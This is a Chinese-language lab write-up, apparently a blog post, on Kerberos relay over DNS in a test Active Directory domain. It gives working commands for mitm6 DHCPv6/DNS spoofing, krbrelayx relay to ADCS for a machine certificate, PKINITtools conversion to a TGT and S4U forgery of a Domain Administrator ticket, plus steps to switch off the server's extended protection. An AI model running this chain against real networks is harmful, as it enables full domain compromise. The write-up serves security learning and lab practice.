Kerberos(5)-Kerberos中继初试

Kerberos通过DNS中继

实验操作

工具:

环境准备:

图片

所遇到得问题:

krbrelayx报错:

1
AttributeError: 'KrbRelayxConfig' object has no attribute 'setIsADCSAttack'

需要更新impacket到最新版本。

mitm6报错:

1
2
3
sudo python3 -m pip install -r requirements.txt 
运行提示matplotlib需要更新3.3.4版本,由于环境使用kali,并且python版本为3.9因此直接以root用户更新matplotlib即可
sudo python3 -m pip --upgrade matplotlib

mitm6提示无参数–host-allowlist

github直接下载master分支源码,releases中得版本没有这个功能。

中继获取证书失败:

1
2
3
4
5
6
7
[*] DNS: Client sent authorization
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[-] Error obtaining certificate!
[*] DNS: Client sent authorization

这是由于ADCS开启了EPA增强型身份保护,关闭操作如下:

在ADCS的IIS管理器中选择默认网站(提供web证书注册)–>点击身份验证–>双击打开功能–>开启Windows身份验证–>高级设置–>关闭扩展保护。

image-20220326212139255

证书转TGT出现KDC不支持解密方式:

image-20220327012848837

则在域控制器中修改Kerberos加密类型。

image-20220327012932655

这是前期其他实验修改环境后出现的问题。

操作步骤:

mitm6

mitm6是利用Windows默认配置来接管默认的DNS服务器。他是通过回复DHCPv6消息,为目标提供IPv6地址并将攻击机设置其默认DNS服务器。

中继web006到adcs命令如下:

1
sudo mitm6 --domain dt.com --host-allowlist web006.dt.com --relay adcs.dt.com -v
  1. 目标机器web006询问LAN是否有提供DHCPv6设置的服务,包括使用那个DNS服务器。
  2. 这时目标机器会在LAN中找到mitm6启动的DHCPv6服务,同时mitm6会欺骗目标机器会将攻击机设为默认的DNS服务器。
  3. 目标机器向DNS服务器发送动态更新查询。
  4. 查询被mitm6拒绝,这是让目标机器提供身份验证。
  5. 目标机器将与KDC交互获取指定的ADCS服务的kerberos票据。

image-20220326223126432

krbrelayx

krbrelayx是用于kerberos协议中继和无约束委派的工具。

krbrelayx 会将 Kerberos 身份验证转发到匹配的目标主机名,从而有效地中继身份验证。

1
sudo python3 krbrelayx.py --target http://adcs.dt.com/certsrv/ -ip 10.10.10.111 --victim web006.dt.com --adcs --template Machine
  1. 目标机器与krbrelayx建立TCP连接,并发送包含Kerberos票据的动态更新查询。
  2. 票据被转发到ADCS主机,导致身份验证成功并颁发证书

image-20220327013240514

PKINITtools

有了证书之后,PKINITtools可以使用Kerberos进行身份验证并模拟域管理员来访问目标机器。

1
python3 gettgtpkinit.py dt.com/web006$ -pfx-base64 $(cat 2.txt)  web006.ccache -dc-ip 10.10.10.10

2.txt保存获取的Base64证书内容。

image-20220327013414807

通过web006机器用户TGT伪造域管理员TGT

1
python3 gets4uticket.py kerberos+ccach3://dt.com\\WEB006\$:web006.ccache@ad.dt.com cifs/web006.dt.com@dt.com Administrator@dt.com Administrator.ccache

image-20220327014458002

使用域管理员TGT通过smb访问web006

1
KRB5CCNAME=Administrator.ccache smbclient.py -k dt.com/Administrator@web006.dt.com -no-pass

image-20220327015015788

image-20220327015615069